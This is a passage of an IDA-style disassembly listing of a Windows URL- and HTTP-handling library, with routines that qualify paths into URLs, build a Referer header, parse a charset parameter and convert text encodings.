		jz	short loc_69B3A81A
		push	edi		; cchBuf
		push	ebx		; pszBuf
		push	dword ptr [esi+8] ; pszPath
		call	ds:PathSearchAndQualifyW	; PathSearchAndQualifyW
		test	eax, eax
		jz	short loc_69B3A880
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	dword ptr [esi+8]
		mov	[ebp+var_10], edi
		push	ebx
		call	ds:UrlCreateFromPathW	; UrlCreateFromPathW
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	short loc_69B3A887
		push	dword ptr [esi+8] ; lpString
		call	sub_69B3A5D1
		mov	[esi+8], eax
		jmp	short loc_69B3A887
; ---------------------------------------------------------------------------


loc_69B3A880:				; CODE XREF: sub_69B3A709+14Ej
		mov	[ebp+var_4], 80070057h


loc_69B3A887:				; CODE XREF: sub_69B3A709+168j
					; sub_69B3A709+175j
		push	ebx
		call	sub_69B1B2B7


loc_69B3A88D:				; CODE XREF: sub_69B3A709+118j
		pop	ebx


loc_69B3A88E:				; CODE XREF: sub_69B3A709+2Bj
					; sub_69B3A709+55j ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B3A709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3A897(int, LPCWSTR lpString, int)

sub_69B3A897	proc near		; CODE XREF: sub_69B3937E+F0p
					; sub_69B39730+F2p

arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+lpString],	0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]	; int
		mov	esi, ecx
		jz	short loc_69B3A8E0
		push	[ebp+lpString]	; lpString
		call	sub_69B3A709
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B3A8EA
		push	dword ptr [esi+8] ; lpString
		call	sub_69B8AADD
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B3A8CB
		mov	edi, 8007000Eh
		jmp	short loc_69B3A8EA
; ---------------------------------------------------------------------------


loc_69B3A8CB:				; CODE XREF: sub_69B3A897+2Bj
		push	ebx		; int
		push	[ebp+arg_0]	; lpString
		mov	ecx, esi
		call	sub_69B3A709
		push	ebx
		mov	edi, eax
		call	sub_69B1B2B7
		jmp	short loc_69B3A8EA
; ---------------------------------------------------------------------------


loc_69B3A8E0:				; CODE XREF: sub_69B3A897+Fj
		push	[ebp+arg_0]	; lpString
		call	sub_69B3A709
		mov	edi, eax


loc_69B3A8EA:				; CODE XREF: sub_69B3A897+1Dj
					; sub_69B3A897+32j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B3A897	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A8F3	proc near		; CODE XREF: sub_69B3937E+17Bp
					; sub_69B39507+14Ep ...
		push	esi
		mov	esi, ecx
		call	sub_69B3A68D
		push	dword ptr [esi+0Ch]
		call	sub_69B1B2B7
		add	esi, 10h
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B3A8F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A90E	proc near		; CODE XREF: sub_69B3A93B+Bp

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0C8h
		jz	short loc_69B3A926
		cmp	[esp+arg_0], 1C1h
		jz	short loc_69B3A926
		xor	eax, eax
		jmp	short locret_69B3A929
; ---------------------------------------------------------------------------


loc_69B3A926:				; CODE XREF: sub_69B3A90E+8j
					; sub_69B3A90E+12j
		xor	eax, eax
		inc	eax

locret_69B3A929:			; CODE XREF: sub_69B3A90E+16j
		retn	4
sub_69B3A90E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A92C	proc near		; DATA XREF: .text:69B277D0o

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	dword ptr [eax], 20h
		xor	eax, eax
		retn	8
sub_69B3A92C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A93B	proc near		; DATA XREF: .text:69B277B8o

arg_4		= dword	ptr  8
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_10]
		push	[esp+arg_4]
		and	dword ptr [eax], 0
		call	sub_69B3A90E
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	14h
sub_69B3A93B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3A953	proc near		; CODE XREF: sub_69B3B273+5j
					; .text:69B3B296j
					; DATA XREF: ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B3A970
		mov	eax, 80004005h
		jmp	locret_69B3A9F3
; ---------------------------------------------------------------------------


loc_69B3A970:				; CODE XREF: sub_69B3A953+11j
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		lea	ecx, [ebx+4]
		call	sub_69B87FDC
		push	eax
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		call	sub_69B1A8C7
		and	[ebp+arg_0], 0
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AF80
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B3A9B7
		lea	ecx, [ebx+10h]


loc_69B3A9A2:				; CODE XREF: sub_69B3A953+78j
		mov	eax, ebx
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		jmp	short loc_69B3A9DC
; ---------------------------------------------------------------------------


loc_69B3A9B7:				; CODE XREF: sub_69B3A953+4Aj
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AF30
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B3A9CD
		lea	ecx, [ebx+14h]
		jmp	short loc_69B3A9A2
; ---------------------------------------------------------------------------


loc_69B3A9CD:				; CODE XREF: sub_69B3A953+73j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_69B448B2
		mov	[ebp+arg_0], eax


loc_69B3A9DC:				; CODE XREF: sub_69B3A953+62j
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	[ebp+var_4]
		call	dword_69B92944
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx

locret_69B3A9F3:			; CODE XREF: sub_69B3A953+18j
		leave
		retn	0Ch
sub_69B3A953	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3A9F7	proc near		; CODE XREF: sub_69B3B27D+5j
					; .text:69B3B2A0j
					; DATA XREF: ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B3AA11
		mov	eax, 80004005h
		jmp	short loc_69B3AA45
; ---------------------------------------------------------------------------


loc_69B3AA11:				; CODE XREF: sub_69B3A9F7+11j
		push	esi
		mov	esi, [ebp+arg_0]
		lea	ecx, [esi+4]
		call	sub_69B87FDC
		push	eax
		push	edi
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		add	esi, 2Ch
		push	esi		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		lea	ecx, [ebp+var_C]
		mov	esi, eax
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B3AA45:				; CODE XREF: sub_69B3A9F7+18j
		pop	edi
		leave
		retn	4
sub_69B3A9F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3AA4A	proc near		; CODE XREF: sub_69B3B287+5j
					; .text:69B3B2AAj
					; DATA XREF: ...

; FUNCTION CHUNK AT 69B3AAB7 SIZE 00000020 BYTES

		push	24h
		push	offset dword_69B3AAD8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B3AA6A
		mov	eax, 80004005h
		jmp	short loc_69B3AACF
; ---------------------------------------------------------------------------


loc_69B3AA6A:				; CODE XREF: sub_69B3AA4A+17j
		mov	esi, [ebp+8]
		lea	edi, [esi+4]
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		lea	eax, [esi+2Ch]
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		mov	[ebp-2Ch], eax
		test	eax, eax
		jnz	short loc_69B3AABB
		and	[ebp-4], eax
		mov	[ebp-30h], esi
		mov	[ebp-34h], esi
		test	esi, esi
		jz	short loc_69B3AAB7
		mov	eax, [edi]
		push	1
		mov	ecx, edi
		call	dword ptr [eax]
		jmp	short loc_69B3AAB7
sub_69B3AA4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3AAAB	proc near		; DATA XREF: .text:69B3AADCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B3AAAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3AAB4	proc near		; DATA XREF: .text:69B3AAE0o
		mov	esp, [ebp-18h]
sub_69B3AAB4	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_69B3AA4A


loc_69B3AAB7:				; CODE XREF: sub_69B3AA4A+55j
					; sub_69B3AA4A+5Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B3AABB:				; CODE XREF: sub_69B3AA4A+48j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B3AACF:				; CODE XREF: sub_69B3AA4A+1Ej
		call	sub_69B1853C
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B3AA4A
; ---------------------------------------------------------------------------
		align 4
dword_69B3AAD8	dd 0FFFFFFFFh			dd offset sub_69B3AAAB
		dd offset sub_69B3AAB4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3AAE4	proc near		; CODE XREF: .text:69B3B2B4j
					; DATA XREF: .text:69B277E0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ecx], 280h
		mov	eax, [eax+18h]
		test	eax, eax
		jz	short loc_69B3AB06
		cmp	dword ptr [eax+44h], 0
		jnz	short loc_69B3AB06
		mov	dword ptr [ecx], 283h


loc_69B3AB06:				; CODE XREF: sub_69B3AAE4+14j
					; sub_69B3AAE4+1Aj
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [edx]
		test	esi, esi
		push	edi
		jnz	short loc_69B3AB15
		push	54h
		pop	esi


loc_69B3AB15:				; CODE XREF: sub_69B3AAE4+2Cj
		mov	ecx, esi
		mov	ebx, ecx
		shr	ecx, 2
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb
		and	dword ptr [edx+18h], 0
		mov	eax, [ebp+arg_0]
		mov	[edx], esi
		mov	eax, [eax+1Ch]
		test	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_69B3AB48
		mov	ecx, [eax]
		push	edx
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+20h]
		jmp	short loc_69B3AB4A
; ---------------------------------------------------------------------------


loc_69B3AB48:				; CODE XREF: sub_69B3AAE4+56j
		xor	eax, eax


loc_69B3AB4A:				; CODE XREF: sub_69B3AAE4+62j
		pop	ebp
		retn	0Ch
sub_69B3AAE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3AB4E	proc near		; DATA XREF: .text:69B277E4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_10]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		test	byte ptr [ebp+arg_4], 1
		jz	short loc_69B3AB92
		cmp	dword ptr [ebx], 4
		jz	short loc_69B3AB6E
		mov	edi, 80004005h
		jmp	short loc_69B3ABD2
; ---------------------------------------------------------------------------


loc_69B3AB6E:				; CODE XREF: sub_69B3AB4E+17j
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jz	short loc_69B3AB83
		push	dword ptr [esi+28h] ; lpszUrl
		call	sub_69B39E07
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B3ABD2


loc_69B3AB83:				; CODE XREF: sub_69B3AB4E+25j
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jz	short loc_69B3AB92
		push	dword ptr [ebx+4]
		call	sub_69B3A31B


loc_69B3AB92:				; CODE XREF: sub_69B3AB4E+12j
					; sub_69B3AB4E+3Aj
		test	byte ptr [ebp+arg_4], 4
		jz	short loc_69B3ABB5
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jz	short loc_69B3ABB5
		call	sub_69B3A112
		cmp	eax, 8000000Ah
		jnz	short loc_69B3ABB5
		mov	ecx, [esi+18h]
		push	0
		call	sub_69B3A0F1


loc_69B3ABB5:				; CODE XREF: sub_69B3AB4E+48j
					; sub_69B3AB4E+4Fj ...
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_69B3ABF1
		mov	ecx, [eax]
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+24h]
		mov	edi, eax
		test	edi, edi
		jge	short loc_69B3ABF1


loc_69B3ABD2:				; CODE XREF: sub_69B3AB4E+1Ej
					; sub_69B3AB4E+33j
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jz	short loc_69B3ABDF
		push	edi
		call	sub_69B3A0F1


loc_69B3ABDF:				; CODE XREF: sub_69B3AB4E+89j
		mov	eax, edi
		sub	eax, 8000000Ah
		neg	eax
		sbb	eax, eax
		and	eax, 80004004h
		jmp	short loc_69B3AC0A
; ---------------------------------------------------------------------------


loc_69B3ABF1:				; CODE XREF: sub_69B3AB4E+6Cj
					; sub_69B3AB4E+82j
		mov	esi, [esi+18h]
		test	esi, esi
		jz	short loc_69B3AC08
		mov	ecx, [esi+40h]
		test	ecx, ecx
		jz	short loc_69B3AC08
		mov	eax, [ecx]
		push	0
		push	esi
		call	dword ptr [eax]
		mov	edi, eax


loc_69B3AC08:				; CODE XREF: sub_69B3AB4E+A8j
					; sub_69B3AB4E+AFj
		mov	eax, edi


loc_69B3AC0A:				; CODE XREF: sub_69B3AB4E+A1j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	14h
sub_69B3AB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3AC11(int, LPCWSTR lpString, int)

sub_69B3AC11	proc near		; CODE XREF: sub_69B3ACD6+43p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		test	eax, eax
		push	ebx
		push	esi
		mov	esi, ds:lstrlenW
		push	edi
		jz	short loc_69B3AC31
		push	eax		; lpString
		call	esi ; lstrlenW
		mov	[ebp+var_4], eax
		jmp	short loc_69B3AC35
; ---------------------------------------------------------------------------


loc_69B3AC31:				; CODE XREF: sub_69B3AC11+16j
		and	[ebp+var_4], 0


loc_69B3AC35:				; CODE XREF: sub_69B3AC11+1Ej
		push	[ebp+lpString]	; lpString
		call	esi ; lstrlenW
		push	[ebp+arg_8]	; lpString
		mov	[ebp+var_8], eax
		call	esi ; lstrlenW
		mov	edi, eax
		push	offset asc_69B2778C ; "\r\n"
		mov	[ebp+var_10], edi
		call	esi ; lstrlenW
		lea	ebx, [eax+edi]
		add	ebx, [ebp+var_8]
		mov	[ebp+var_14], eax
		add	ebx, [ebp+var_4]
		shl	ebx, 1
		lea	eax, [ebx+2]
		push	eax
		call	sub_69B11E44
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_C], edi
		jz	short loc_69B3ACC1
		mov	eax, [ebp+arg_0]
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_69B3AC80
		mov	ecx, [ebp+var_4]
		rep movsw
		mov	edi, [ebp+var_C]


loc_69B3AC80:				; CODE XREF: sub_69B3AC11+64j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	esi, [ebp+lpString]
		mov	edx, [ebp+var_8]
		lea	edi, [edi+eax*2]
		rep movsw
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+arg_8]
		lea	edi, [edx+eax]
		mov	eax, [ebp+var_C]
		lea	edi, [eax+edi*2]
		rep movsw
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_14]
		add	edi, edx
		add	edi, [ebp+var_4]
		mov	esi, offset asc_69B2778C ; "\r\n"
		lea	edi, [eax+edi*2]
		rep movsw
		and	word ptr [ebx+eax], 0
		mov	edi, eax


loc_69B3ACC1:				; CODE XREF: sub_69B3AC11+5Bj
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi]
		call	sub_69B1B2B7
		mov	[esi], edi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B3AC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3ACD6	proc near		; DATA XREF: .text:69B277B4o

lpString	= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	ecx, [ecx+28h]
		and	[ebp+var_4], 0
		and	[ebp+lpString],	0
		test	ecx, ecx
		jz	short loc_69B3ACF5
		mov	ecx, [ecx+4]
		jmp	short loc_69B3ACF7
; ---------------------------------------------------------------------------


loc_69B3ACF5:				; CODE XREF: sub_69B3ACD6+18j
		xor	ecx, ecx


loc_69B3ACF7:				; CODE XREF: sub_69B3ACD6+1Dj
		and	[ebp+arg_0], 0
		push	esi
		mov	esi, [ebp+arg_10]
		and	dword ptr [esi], 0
		test	ecx, ecx
		push	edi
		jz	short loc_69B3AD60
		mov	eax, [eax+8]
		mov	eax, [eax+28h]
		push	dword ptr [eax+4] ; int
		lea	eax, [ebp+lpString]
		push	offset aReferer	; "REFERER: "
		push	eax		; int
		call	sub_69B3AC11
		mov	edi, [ebp+lpString]
		test	edi, edi
		jz	short loc_69B3AD57
		push	edi		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	eax, [eax+eax+2]
		push	eax		; cb
		call	ds:CoTaskMemAlloc
		test	eax, eax
		mov	[esi], eax
		jz	short loc_69B3AD48
		push	edi
		push	eax
		call	sub_69B84AF5
		pop	ecx
		pop	ecx
		jmp	short loc_69B3AD4F
; ---------------------------------------------------------------------------


loc_69B3AD48:				; CODE XREF: sub_69B3ACD6+65j
		mov	[ebp+var_4], 8007000Eh


loc_69B3AD4F:				; CODE XREF: sub_69B3ACD6+70j
		push	edi
		call	sub_69B1B2B7
		jmp	short loc_69B3AD98
; ---------------------------------------------------------------------------


loc_69B3AD57:				; CODE XREF: sub_69B3ACD6+4Dj
		mov	[ebp+var_4], 8007000Eh
		jmp	short loc_69B3AD98
; ---------------------------------------------------------------------------


loc_69B3AD60:				; CODE XREF: sub_69B3ACD6+2Fj
		mov	eax, [eax+0Ch]
		test	eax, eax
		jz	short loc_69B3AD98
		mov	ecx, [eax]
		lea	edx, [ebp+arg_0]
		push	edx
		push	offset dword_69B2AF80
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B3AD98
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B3AD98:				; CODE XREF: sub_69B3ACD6+7Fj
					; sub_69B3ACD6+88j ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn	14h
sub_69B3ACD6	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR aReferer
aReferer:				; DATA XREF: sub_69B3ACD6+3Do
		unicode	0, <REFERER: >,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3ADB8	proc near		; DATA XREF: .text:69B277A4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_69B3ADFC
		mov	ecx, [eax]
		lea	edx, [ebp+arg_0]
		push	edx
		push	offset dword_69B2AF30
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B3AE01
		push	[ebp+arg_10]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_C]
		mov	ecx, [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+10h]
		mov	esi, eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	short loc_69B3AE01
; ---------------------------------------------------------------------------


loc_69B3ADFC:				; CODE XREF: sub_69B3ADB8+Ej
		mov	eax, [ebp+arg_10]
		mov	[eax], esi


loc_69B3AE01:				; CODE XREF: sub_69B3ADB8+20j
					; sub_69B3ADB8+42j
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	14h
sub_69B3ADB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3AE08(LPCSTR lpMultiByteStr, int	cchMultiByte, int)

sub_69B3AE08	proc near		; CODE XREF: sub_69B3AE56+5Ep
					; sub_69B3AE56+F8p

lpMultiByteStr	= dword	ptr  8
cchMultiByte	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ds:MultiByteToWideChar
		push	edi
		xor	eax, eax
		push	eax		; cchWideChar
		push	eax		; lpWideCharStr
		push	[ebp+cchMultiByte] ; cchMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		push	1		; dwFlags
		push	eax		; CodePage
		call	esi ; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_69B1D897
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B3AE4D
		push	edi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	[ebp+cchMultiByte] ; cchMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		push	1		; dwFlags
		push	0		; CodePage
		call	esi ; MultiByteToWideChar
		mov	eax, [ebp+arg_8]
		and	word ptr [ebx+edi*2], 0
		mov	[eax], edi


loc_69B3AE4D:				; CODE XREF: sub_69B3AE08+2Bj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B3AE08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3AE56(LPCSTR lpMultiByteStr, int)

sub_69B3AE56	proc near		; CODE XREF: sub_69B3B01F+6Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpMultiByteStr	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ecx+18h]
		push	ebx
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	esi, [ebp+lpMultiByteStr]
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], edx
		jz	loc_69B3AF7A
		mov	eax, [eax+40h]
		cmp	eax, edx
		mov	[ebp+var_4], eax
		jz	loc_69B3AF7A
		mov	edi, [ebp+arg_4]
		cmp	edi, edx
		jz	loc_69B3AF7A


loc_69B3AE8E:				; CODE XREF: sub_69B3AE56+46j
		mov	bl, [esi]
		inc	esi
		inc	edx
		cmp	edx, edi
		mov	[ebp+var_10], edx
		jge	short loc_69B3AE9E
		cmp	bl, 3Bh
		jnz	short loc_69B3AE8E


loc_69B3AE9E:				; CODE XREF: sub_69B3AE56+41j
		cmp	bl, 3Bh
		lea	eax, [edx-1]
		jz	short loc_69B3AEA8
		mov	eax, edx


loc_69B3AEA8:				; CODE XREF: sub_69B3AE56+4Ej
		test	eax, eax
		jle	short loc_69B3AEDD
		lea	ecx, [ebp+lpMultiByteStr]
		push	ecx		; int
		push	eax		; cchMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		call	sub_69B3AE08
		test	eax, eax
		mov	[ebp+arg_4], eax
		jz	short loc_69B3AF30
		push	[ebp+lpMultiByteStr]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+18h]
		call	dword ptr [edx+4]
		push	[ebp+arg_4]
		call	sub_69B1B2B7
		mov	edx, [ebp+var_10]


loc_69B3AEDD:				; CODE XREF: sub_69B3AE56+54j
		sub	edi, edx
		test	edi, edi
		jle	loc_69B3AF7A


loc_69B3AEE7:				; CODE XREF: sub_69B3AE56+A1j
		cmp	bl, 20h
		jz	short loc_69B3AEF1
		cmp	bl, 3Bh
		jnz	short loc_69B3AEF9


loc_69B3AEF1:				; CODE XREF: sub_69B3AE56+94j
		mov	bl, [esi]
		dec	edi
		inc	esi
		test	edi, edi
		jg	short loc_69B3AEE7


loc_69B3AEF9:				; CODE XREF: sub_69B3AE56+99j
		cmp	bl, 63h
		jz	short loc_69B3AF03
		cmp	bl, 43h
		jnz	short loc_69B3AF7A


loc_69B3AF03:				; CODE XREF: sub_69B3AE56+A6j
		push	7
		pop	ebx
		cmp	edi, ebx
		jle	short loc_69B3AF7A
		push	ebx		; nChar
		push	offset aHarset	; "harset="
		push	esi		; lpStr1
		call	ds:StrCmpNIA	; StrCmpNIA
		test	eax, eax
		jnz	short loc_69B3AF7A
		sub	edi, ebx
		add	esi, ebx
		test	edi, edi
		jle	short loc_69B3AF7A
		cmp	byte ptr [esi],	22h
		jnz	short loc_69B3AF2A
		inc	esi
		dec	edi


loc_69B3AF2A:				; CODE XREF: sub_69B3AE56+D0j
		xor	ecx, ecx
		mov	edx, esi
		jmp	short loc_69B3AF44
; ---------------------------------------------------------------------------


loc_69B3AF30:				; CODE XREF: sub_69B3AE56+68j
		mov	eax, 8007000Eh
		jmp	short loc_69B3AF7D
; ---------------------------------------------------------------------------


loc_69B3AF37:				; CODE XREF: sub_69B3AE56+F0j
		mov	al, [esi]
		dec	edi
		inc	esi
		cmp	al, 22h
		jz	short loc_69B3AF48
		cmp	al, 20h
		jl	short loc_69B3AF48
		inc	ecx


loc_69B3AF44:				; CODE XREF: sub_69B3AE56+D8j
		test	edi, edi
		jnz	short loc_69B3AF37


loc_69B3AF48:				; CODE XREF: sub_69B3AE56+E7j
					; sub_69B3AE56+EBj
		lea	eax, [ebp+lpMultiByteStr]
		push	eax		; int
		push	ecx		; cchMultiByte
		push	edx		; lpMultiByteStr
		call	sub_69B3AE08
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B3AF73
		push	[ebp+lpMultiByteStr]
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx]
		push	esi
		push	dword ptr [edx+18h]
		call	dword ptr [eax+8]
		push	esi
		call	sub_69B1B2B7
		jmp	short loc_69B3AF7A
; ---------------------------------------------------------------------------


loc_69B3AF73:				; CODE XREF: sub_69B3AE56+101j
		mov	[ebp+var_C], 8007000Eh


loc_69B3AF7A:				; CODE XREF: sub_69B3AE56+19j
					; sub_69B3AE56+27j ...
		mov	eax, [ebp+var_C]


loc_69B3AF7D:				; CODE XREF: sub_69B3AE56+DFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B3AE56	endp

; ---------------------------------------------------------------------------
; char aHarset[]
aHarset		db 'harset=',0          ; DATA XREF: sub_69B3AE56+B5o

; =============== S U B	R O U T	I N E =======================================



sub_69B3AF8C	proc near		; CODE XREF: sub_69B3A12F+13p
					; sub_69B3AFB0+3Cj ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		push	dword ptr [esi+28h]
		call	sub_69B1B2B7
		and	dword ptr [esi+28h], 0
		and	dword ptr [esi+34h], 0
		mov	byte ptr [esi+30h], 0
		pop	esi
		retn
sub_69B3AF8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3AFB0	proc near		; CODE XREF: sub_69B3A189+Dp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+20h]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_69B3AFE0
